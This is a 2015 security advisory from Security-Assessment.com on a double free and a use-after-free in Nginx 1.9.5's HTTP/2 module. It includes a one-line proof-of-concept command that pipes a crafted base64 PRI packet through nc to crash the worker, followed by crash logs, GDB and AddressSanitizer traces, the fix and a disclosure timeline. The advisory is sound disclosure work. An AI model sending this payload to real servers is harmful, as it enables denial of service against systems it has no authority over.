security-assessment.com

Vulnerability Advisory

Name	Nginx ngx_destroy_pool HTTP2 Double Free
Vendor Website	www.nginx.org
Affected Software	Nginx 1.9.5
Date Released	29th October, 2015
Researchers	Denis Andzakovic

Description

This document details a double free condition discovered within the HTTPv2 module of Nginx 1.9.5. By sending a crafted PRI request, an attacker can cause a section of heap based memory to be freed twice. This subsequently kills the worker process with a SIGABRT. A use after free condition is also triggered with the malicious request, however this does not trigger a server crash.

An attacker may use this vulnerability to stage a denial of service attack against the web server or to attempt to gain control of program execution.

Exploitation

By sending a crafted PRI packet, an attacker may cause the nginx daemon to call ngx_destroy_pool() (ngx_palloc.c:45) twice with the same pointer, resulting in the same memory being freed twice by the subsequent ngx_free() call (ngx_palloc.c:87).

The following proof of concept can be used to trigger the condition:

Proof of Concept

```
echo UFJJICogSFRUUC8yLjANCg0KU00NCg0KAAAMBAAAAAAAAAMAAABkAAQAAP//AP8hAQUAAAAB | base64 -d | \
nc -q1 127.0.0.1 8080
```

The following screenshot shows the Nginx worker process crashing after being sent the malicious packet:

Screenshot

```
doi@asov64:~/targets/nginx-1.9.5/run/logs$ tail -f error.log
2015/09/29 19:20:43 [notice] 66910#0: using the "epoll" event method
2015/09/29 19:20:43 [notice] 66910#0: nginx/1.9.5
2015/09/29 19:20:43 [notice] 66910#0: built by gcc 4.9.2 (Debian 4.9.2-10)
2015/09/29 19:20:43 [notice] 66910#0: OS: Linux 3.16.0-4-amd64
2015/09/29 19:20:43 [notice] 66910#0: getrlimit(RLIMIT_NOFILE): 65536:65536
2015/09/29 19:20:43 [notice] 66911#0: start worker processes
2015/09/29 19:20:43 [notice] 66911#0: start worker process 66912
2015/09/29 19:20:49 [info] 66912#0: *1 client prematurely closed connection while processing HTTP/2
*** Error in `nginx: worker process': double free or corruption (!prev): 0x000000000136a8b0 ***
2015/09/29 19:20:49 [notice] 66911#0: signal 17 (SIGCHLD) received
2015/09/29 19:20:49 [alert] 66911#0: worker process 66912 exited on signal 6
```

The following table details the location of the double free, showing the initial free and subsequent double-free.

GDB Info

```
(gdb) info break
Num     Type           Disp Enb Address            What
5       breakpoint     keep y   0x000000000040636a in ngx_destroy_pool at src/core/ngx_palloc.c:87
        breakpoint already hit 2 times
(gdb) c
Continuing.

Breakpoint 5, 0x000000000040636a in ngx_destroy_pool (pool=<optimized out>) at src/core/ngx_palloc.c:87
87              ngx_free(p);
(gdb) p p
$8 = (ngx_pool_t *) 0x9508b0
(gdb) bt
#0  0x000000000040636a in ngx_destroy_pool (pool=<optimized out>) at src/core/ngx_palloc.c:87
#1  0x000000000043489e in ngx_http_free_request (r=0x950900, rc=rc@entry=0) at
src/http/ngx_http_request.c:3497
#2  0x000000000045a9b1 in ngx_http_v2_close_stream (stream=0x951820, rc=rc@entry=0) at
src/http/v2/ngx_http_v2.c:3645
#3  0x000000000045c010 in ngx_http_v2_close_stream_handler (ev=<optimized out>) at
src/http/v2/ngx_http_v2.c:3705
#4  0x000000000045a2c3 in ngx_http_v2_finalize_connection (h2c=h2c@entry=0x96d6b0,
status=status@entry=0) at src/http/v2/ngx_http_v2.c:3847
#5  0x000000000045a4bc in ngx_http_v2_read_handler (rev=rev@entry=0x976fd0) at
src/http/v2/ngx_http_v2.c:347
#6  0x000000000045a792 in ngx_http_v2_init (rev=0x976fd0) at src/http/v2/ngx_http_v2.c:296
#7  0x0000000000423262 in ngx_epoll_process_events (cycle=<optimized out>, timer=<optimized out>,
flags=<optimized out>) at src/event/modules/ngx_epoll_module.c:822
#8  0x000000000041bccd in ngx_process_events_and_timers (cycle=cycle@entry=0x94a0d0) at
src/event/ngx_event.c:242
#9  0x000000000042273a in ngx_single_process_cycle (cycle=cycle@entry=0x94a0d0) at
src/os/unix/ngx_process_cycle.c:309
#10 0x0000000000404f8f in main (argc=<optimized out>, argv=<optimized out>) at src/core/nginx.c:412
(gdb) c
Continuing.

Breakpoint 5, 0x000000000040636a in ngx_destroy_pool (pool=<optimized out>) at src/core/ngx_palloc.c:87
87              ngx_free(p);
(gdb) p p
$9 = (ngx_pool_t *) 0x9518c0
(gdb) c
Continuing.

Breakpoint 5, 0x000000000040636a in ngx_destroy_pool (pool=<optimized out>) at src/core/ngx_palloc.c:87
87              ngx_free(p);
(gdb) p p
$10 = (ngx_pool_t *) 0x9508b0
(gdb) bt
#0  0x000000000040636a in ngx_destroy_pool (pool=<optimized out>) at src/core/ngx_palloc.c:87
#1  0x0000000000459545 in ngx_http_v2_pool_cleanup (data=0x96d6b0) at src/http/v2/ngx_http_v2.c:4030
#2  0x000000000040633b in ngx_destroy_pool (pool=pool@entry=0x96ddd0) at src/core/ngx_palloc.c:55
#3  0x0000000000433d63 in ngx_http_close_connection (c=c@entry=0x7ffff7fa51c0) at
src/http/ngx_http_request.c:3548
#4  0x000000000045a2ee in ngx_http_v2_finalize_connection (h2c=h2c@entry=0x96d6b0,
status=status@entry=0) at src/http/v2/ngx_http_v2.c:3857
#5  0x000000000045a4bc in ngx_http_v2_read_handler (rev=rev@entry=0x976fd0) at
src/http/v2/ngx_http_v2.c:347
#6  0x000000000045a792 in ngx_http_v2_init (rev=0x976fd0) at src/http/v2/ngx_http_v2.c:296
#7  0x0000000000423262 in ngx_epoll_process_events (cycle=<optimized out>, timer=<optimized out>,
flags=<optimized out>) at src/event/modules/ngx_epoll_module.c:822
#8  0x000000000041bccd in ngx_process_events_and_timers (cycle=cycle@entry=0x94a0d0) at
src/event/ngx_event.c:242
#9  0x000000000042273a in ngx_single_process_cycle (cycle=cycle@entry=0x94a0d0) at
src/os/unix/ngx_process_cycle.c:309
#10 0x0000000000404f8f in main (argc=<optimized out>, argv=<optimized out>) at src/core/nginx.c:412
(gdb) c
Continuing.
*** Error in `./targets/nginx-1.9.5/run/sbin/nginx': double free or corruption (!prev):
0x00000000009508b0 ***

Program received signal SIGABRT, Aborted.
```

This behavior appears to be due to the malicious packet causing the Nginx daemon to hit both lines 3847 and 3857 within ngx_http_v2.c. Both `ev->handler(ev)` (line 3847) and `ngx_http_close_connection(c)` (line 3857) appear result in a subsequent call to ngx_destroy_pool, with the same pointer.

The following Address Sanitizer output details the location of the use-after-free condition as mentioned in the description.

Address Sanitizer Output

```
==18044==ERROR: AddressSanitizer: heap-use-after-free on address 0x621000008d40 at pc 0x0000004e9129 bp
0x7ffcec81a250 sp 0x7ffcec81a248
READ of size 8 at 0x621000008d40 thread T0
    #0 0x4e9128 in ngx_destroy_pool ./targets/asan/nginx-1.9.5/src/core/ngx_palloc.c:51:20
    #1 0x5e02fc in ngx_http_v2_pool_cleanup ./targets/asan/nginx-1.9.5/src/http/v2/ngx_http_v2.c:4030:9
    #2 0x4e9050 in ngx_destroy_pool ./targets/asan/nginx-1.9.5/src/core/ngx_palloc.c:55:13
    #3 0x546497 in ngx_epoll_process_events ./targets/asan/nginx-
1.9.5/src/event/modules/ngx_epoll_module.c:822:17
    #4 0x52caa1 in ngx_process_events_and_timers ./targets/asan/nginx-1.9.5/src/event/ngx_event.c:242:12
    #5 0x541ecf in ngx_single_process_cycle ./targets/asan/nginx-
1.9.5/src/os/unix/ngx_process_cycle.c:309:9
    #6 0x4e353f in main ./targets/asan/nginx-1.9.5/src/core/nginx.c:412:9
    #7 0x7f7117d38b44 in __libc_start_main /build/glibc-I9DIZl/glibc-2.19/csu/libc-start.c:287
    #8 0x41c055 in _start (./targets/asan/nginx-1.9.5/run/sbin/nginx+0x41c055)

0x621000008d40 is located 64 bytes inside of 4096-byte region [0x621000008d00,0x621000009d00)
freed by thread T0 here:
    #0 0x4b5a40 in __interceptor_free ./src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:30
    #1 0x4e90ff in ngx_destroy_pool ./targets/asan/nginx-1.9.5/src/core/ngx_palloc.c:87:9
    #2 0x56cb0c in ngx_http_free_request ./targets/asan/nginx-1.9.5/src/http/ngx_http_request.c:3497:5
    #3 0x5e2c86 in ngx_http_v2_close_stream ./targets/asan/nginx-1.9.5/src/http/v2/ngx_http_v2.c:3645:5
    #4 0x5e397e in ngx_http_v2_finalize_connection ./targets/asan/nginx-
1.9.5/src/http/v2/ngx_http_v2.c:3847:13
    #5 0x546497 in ngx_epoll_process_events ./targets/asan/nginx-
1.9.5/src/event/modules/ngx_epoll_module.c:822:17
    #6 0x52caa1 in ngx_process_events_and_timers ./targets/asan/nginx-1.9.5/src/event/ngx_event.c:242:12
    #7 0x541ecf in ngx_single_process_cycle ./targets/asan/nginx-
1.9.5/src/os/unix/ngx_process_cycle.c:309:9
    #8 0x4e353f in main ./targets/asan/nginx-1.9.5/src/core/nginx.c:412:9
    #9 0x7f7117d38b44 in __libc_start_main /build/glibc-I9DIZl/glibc-2.19/csu/libc-start.c:287

previously allocated by thread T0 here:
    #0 0x4b6755 in __interceptor_posix_memalign ./src/llvm/projects/compiler-
rt/lib/asan/asan_malloc_linux.cc:107
    #1 0x535f55 in ngx_memalign ./targets/asan/nginx-1.9.5/src/os/unix/ngx_alloc.c:57:11
    #2 0x4e8ebf in ngx_create_pool ./targets/asan/nginx-1.9.5/src/core/ngx_palloc.c:21:9
    #3 0x567a87 in ngx_http_create_request ./targets/asan/nginx-1.9.5/src/http/ngx_http_request.c:521:12
    #4 0x5e94a5 in ngx_http_v2_create_stream ./targets/asan/nginx-1.9.5/src/http/v2/ngx_http_v2.c:2760:9
    #5 0x5e5b3c in ngx_http_v2_state_headers ./targets/asan/nginx-
1.9.5/src/http/v2/ngx_http_v2.c:1167:14
    #6 0x5e0e53 in ngx_http_v2_read_handler ./targets/asan/nginx-1.9.5/src/http/v2/ngx_http_v2.c:357:17
    #7 0x546497 in ngx_epoll_process_events ./targets/asan/nginx-
1.9.5/src/event/modules/ngx_epoll_module.c:822:17
    #8 0x52caa1 in ngx_process_events_and_timers ./targets/asan/nginx-1.9.5/src/event/ngx_event.c:242:12
    #9 0x541ecf in ngx_single_process_cycle ./targets/asan/nginx-
1.9.5/src/os/unix/ngx_process_cycle.c:309:9
    #10 0x4e353f in main ./targets/asan/nginx-1.9.5/src/core/nginx.c:412:9
    #11 0x7f7117d38b44 in __libc_start_main /build/glibc-I9DIZl/glibc-2.19/csu/libc-start.c:287
```

Solution

Upgrade to Nginx 1.9.6

Timeline

29/09/2015 – Advisory sent to Nginx team

29/09/2015 – Advisory acknowledged

28/10/2015 – Nginx 1.9.6 released

Responsible Disclosure Policy

Security-Assessment.com follow a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 470 1650